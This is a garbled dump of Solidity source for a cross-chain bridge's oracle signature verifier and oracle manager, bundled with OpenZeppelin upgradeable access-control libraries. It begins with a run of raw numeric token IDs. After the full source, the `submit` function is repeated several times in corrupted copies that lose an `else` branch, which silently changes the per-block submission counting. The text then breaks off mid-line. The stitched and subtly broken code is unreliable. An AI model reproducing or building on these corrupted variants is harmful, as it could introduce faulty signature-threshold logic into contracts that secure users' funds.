13491, 5657, 9646, 63, 24, 65, 273, 277, 31, 203, 10792, 289, 203, 7734, 289, 203, 5411, 289, 203, 5411, 19588, 63, 77, 65, 273, 374, 31, 203, 3639, 289, 203, 203, 3639, 364, 261, 77, 273, 374, 31, 277, 411, 1381, 31, 277, 27245, 288, 203, 5411, 293, 2012, 87, 63, 77, 65, 273, 1603, 414, 63, 8082, 9646, 63, 77, 13563, 31, 203, 3639, 289, 203, 3639, 7632, 25355, 273, 7632, 2 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.7; import "./OraclesManager.sol"; import "../interfaces/ISignatureVerifier.sol"; import "../libraries/SignatureUtil.sol"; /// @dev It's used to verify that a transfer is signed by oracles. contract SignatureVerifier is OraclesManager, ISignatureVerifier { using SignatureUtil for bytes; using SignatureUtil for bytes32; /* ========== STATE VARIABLES ========== */ /// @dev Number of required confirmations per block after the extra check is enabled uint8 public confirmationThreshold; /// @dev submissions count in current block uint40 public submissionsInBlock; /// @dev Current block uint40 public currentBlock; /// @dev Debridge gate address address public debridgeAddress; /* ========== ERRORS ========== */ error DeBridgeGateBadRole(); error NotConfirmedByRequiredOracles(); error NotConfirmedThreshold(); error SubmissionNotConfirmed(); error DuplicateSignatures(); /* ========== MODIFIERS ========== */ modifier onlyDeBridgeGate() { if (msg.sender != debridgeAddress) revert DeBridgeGateBadRole(); _; } /* ========== CONSTRUCTOR ========== */ /// @dev Constructor that initializes the most important configurations. /// @param _minConfirmations Common confirmations count. /// @param _confirmationThreshold Confirmations per block after the extra check is enabled. /// @param _excessConfirmations Confirmations count in case of excess activity. function initialize( uint8 _minConfirmations, uint8 _confirmationThreshold, uint8 _excessConfirmations, address _debridgeAddress ) public initializer { OraclesManager.initialize(_minConfirmations, _excessConfirmations); confirmationThreshold = _confirmationThreshold; debridgeAddress = _debridgeAddress; } /// @inheritdoc ISignatureVerifier function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { //Need confirmation to confirm submission uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; // Count of required(DSRM) oracles confirmation uint256 currentRequiredOraclesCount; // stack variable to aggregate confirmations and write to storage once uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; } else { currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } /* ========== ADMIN ========== */ /// @dev Sets minimal required confirmations. /// @param _confirmationThreshold Confirmation info. function setThreshold(uint8 _confirmationThreshold) external onlyAdmin { if (_confirmationThreshold == 0) revert WrongArgument(); confirmationThreshold = _confirmationThreshold; } /// @dev Sets core debridge conrtact address. /// @param _debridgeAddress Debridge address. function setDebridgeAddress(address _debridgeAddress) external onlyAdmin { debridgeAddress = _debridgeAddress; } /* ========== VIEW ========== */ /// @dev Check is valid signature /// @param _submissionId Submission identifier. /// @param _signature signature by oracle. function isValidSignature(bytes32 _submissionId, bytes memory _signature) external view returns (bool) { (bytes32 r, bytes32 s, uint8 v) = _signature.splitSignature(); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); return getOracleInfo[oracle].isValid; } /* ========== INTERNAL ========== */ function _countSignatures(bytes memory _signatures) internal pure returns (uint256) { return _signatures.length % 65 == 0 ? _signatures.length / 65 : 0; } // ============ Version Control ============ /// @dev Get this contract's version function version() external pure returns (uint256) { return 201; // 2.0.1 } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "../interfaces/IOraclesManager.sol"; /// @dev The base contract for oracles management. Allows adding/removing oracles, /// managing the minimal required amount of confirmations. contract OraclesManager is Initializable, AccessControlUpgradeable, IOraclesManager { /* ========== STATE VARIABLES ========== */ /// @dev Minimal required confirmations uint8 public minConfirmations; /// @dev Minimal required confirmations in case of too many confirmations uint8 public excessConfirmations; /// @dev Count of required oracles uint8 public requiredOraclesCount; /// @dev Oracle addresses address[] public oracleAddresses; /// @dev Maps an oracle address to the oracle details mapping(address => OracleInfo) public getOracleInfo; /* ========== ERRORS ========== */ error AdminBadRole(); error OracleBadRole(); error OracleAlreadyExist(); error OracleNotFound(); error WrongArgument(); error LowMinConfirmations(); /* ========== MODIFIERS ========== */ modifier onlyAdmin() { if (!hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) revert AdminBadRole(); _; } modifier onlyOracle() { if (!getOracleInfo[msg.sender].isValid) revert OracleBadRole(); _; } /* ========== CONSTRUCTOR ========== */ /// @dev Constructor that initializes the most important configurations. /// @param _minConfirmations Minimal required confirmations. /// @param _excessConfirmations Minimal required confirmations in case of too many confirmations. function initialize(uint8 _minConfirmations, uint8 _excessConfirmations) internal { if (_minConfirmations == 0 || _excessConfirmations < _minConfirmations) revert LowMinConfirmations(); minConfirmations = _minConfirmations; excessConfirmations = _excessConfirmations; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /* ========== ADMIN ========== */ /// @dev Sets minimal required confirmations. /// @param _minConfirmations Minimal required confirmations. function setMinConfirmations(uint8 _minConfirmations) external onlyAdmin { if (_minConfirmations < oracleAddresses.length / 2 + 1) revert LowMinConfirmations(); minConfirmations = _minConfirmations; } /// @dev Sets minimal required confirmations in case of too many confirmations. /// @param _excessConfirmations Minimal required confirmations in case of too many confirmations. function setExcessConfirmations(uint8 _excessConfirmations) external onlyAdmin { if (_excessConfirmations < minConfirmations) revert LowMinConfirmations(); excessConfirmations = _excessConfirmations; } /// @dev Add oracles. /// @param _oracles Oracles' addresses. /// @param _required A transfer will not be confirmed without oracles having required set to true, function addOracles( address[] memory _oracles, bool[] memory _required ) external onlyAdmin { if (_oracles.length != _required.length) revert WrongArgument(); if (minConfirmations < (oracleAddresses.length + _oracles.length) / 2 + 1) revert LowMinConfirmations(); for (uint256 i = 0; i < _oracles.length; i++) { OracleInfo storage oracleInfo = getOracleInfo[_oracles[i]]; if (oracleInfo.exist) revert OracleAlreadyExist(); oracleAddresses.push(_oracles[i]); if (_required[i]) { requiredOraclesCount += 1; } oracleInfo.exist = true; oracleInfo.isValid = true; oracleInfo.required = _required[i]; emit AddOracle(_oracles[i], _required[i]); } } /// @dev Update an oracle. /// @param _oracle An oracle address. /// @param _isValid Is this oracle valid, i.e. should it be treated as an oracle. /// @param _required If set to true a transfer will not be confirmed without this oracle. function updateOracle( address _oracle, bool _isValid, bool _required ) external onlyAdmin { //If oracle is invalid, it must be not required if (!_isValid && _required) revert WrongArgument(); OracleInfo storage oracleInfo = getOracleInfo[_oracle]; if (!oracleInfo.exist) revert OracleNotFound(); if (oracleInfo.required && !_required) { requiredOraclesCount -= 1; } else if (!oracleInfo.required && _required) { requiredOraclesCount += 1; } if (oracleInfo.isValid && !_isValid) { // remove oracle from oracleAddresses array without keeping an order for (uint256 i = 0; i < oracleAddresses.length; i++) { if (oracleAddresses[i] == _oracle) { oracleAddresses[i] = oracleAddresses[oracleAddresses.length - 1]; oracleAddresses.pop(); break; } } } else if (!oracleInfo.isValid && _isValid) { if (minConfirmations < (oracleAddresses.length + 1) / 2 + 1) revert LowMinConfirmations(); oracleAddresses.push(_oracle); } oracleInfo.isValid = _isValid; oracleInfo.required = _required; emit UpdateOracle(_oracle, _required, _isValid); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface ISignatureVerifier { /* ========== EVENTS ========== */ /// @dev Emitted once the submission is confirmed by one oracle. event Confirmed(bytes32 submissionId, address operator); /// @dev Emitted once the submission is confirmed by min required amount of oracles. event DeployConfirmed(bytes32 deployId, address operator); /* ========== FUNCTIONS ========== */ /// @dev Check confirmation (validate signatures) for the transfer request. /// @param _submissionId Submission identifier. /// @param _signatures Array of signatures by oracles. /// @param _excessConfirmations override min confirmations count function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.7; library SignatureUtil { /* ========== ERRORS ========== */ error WrongArgumentLength(); error SignatureInvalidLength(); error SignatureInvalidV(); /// @dev Prepares raw msg that was signed by the oracle. /// @param _submissionId Submission identifier. function getUnsignedMsg(bytes32 _submissionId) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _submissionId)); } /// @dev Splits signature bytes to r,s,v components. /// @param _signature Signature bytes in format r+s+v. function splitSignature(bytes memory _signature) internal pure returns ( bytes32 r, bytes32 s, uint8 v ) { if (_signature.length != 65) revert SignatureInvalidLength(); return parseSignature(_signature, 0); } function parseSignature(bytes memory _signatures, uint256 offset) internal pure returns ( bytes32 r, bytes32 s, uint8 v ) { assembly { r := mload(add(_signatures, add(32, offset))) s := mload(add(_signatures, add(64, offset))) v := and(mload(add(_signatures, add(65, offset))), 0xff) } if (v < 27) v += 27; if (v != 27 && v != 28) revert SignatureInvalidV(); } function toUint256(bytes memory _bytes, uint256 _offset) internal pure returns (uint256 result) { if (_bytes.length < _offset + 32) revert WrongArgumentLength(); assembly { result := mload(add(add(_bytes, 0x20), _offset)) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IOraclesManager { /* ========== STRUCTS ========== */ struct OracleInfo { bool exist; // exist oracle bool isValid; // is valid oracle bool required; // without this oracle (DSRM), the transfer will not be confirmed } /* ========== EVENTS ========== */ /// @dev Emitted when an oracle is added /// @param oracle Address of an added oracle /// @param required Is this oracle's signature required for every transfer event AddOracle(address oracle, bool required); /// @dev Emitted when an oracle is updated /// @param oracle Address of an updated oracle /// @param required Is this oracle's signature required for every transfer /// @param isValid Is this oracle valid, i.e. should it be treated as an oracle event UpdateOracle(address oracle, bool required, bool isValid); /// @dev Emitted once the submission is confirmed by min required amount of oracles event DeployApproved(bytes32 deployId); /// @dev Emitted once the submission is confirmed by min required amount of oracles event SubmissionApproved(bytes32 submissionId); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
@dev It's used to verify that a transfer is signed by oracles.
contract SignatureVerifier is OraclesManager, ISignatureVerifier { using SignatureUtil for bytes; using SignatureUtil for bytes32; uint8 public confirmationThreshold; uint40 public submissionsInBlock; uint40 public currentBlock; address public debridgeAddress; error DeBridgeGateBadRole(); error NotConfirmedByRequiredOracles(); error NotConfirmedThreshold(); error SubmissionNotConfirmed(); error DuplicateSignatures(); pragma solidity 0.8.7; modifier onlyDeBridgeGate() { if (msg.sender != debridgeAddress) revert DeBridgeGateBadRole(); _; } function initialize( uint8 _minConfirmations, uint8 _confirmationThreshold, uint8 _excessConfirmations, address _debridgeAddress ) public initializer { OraclesManager.initialize(_minConfirmations, _excessConfirmations); confirmationThreshold = _confirmationThreshold; debridgeAddress = _debridgeAddress; } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] 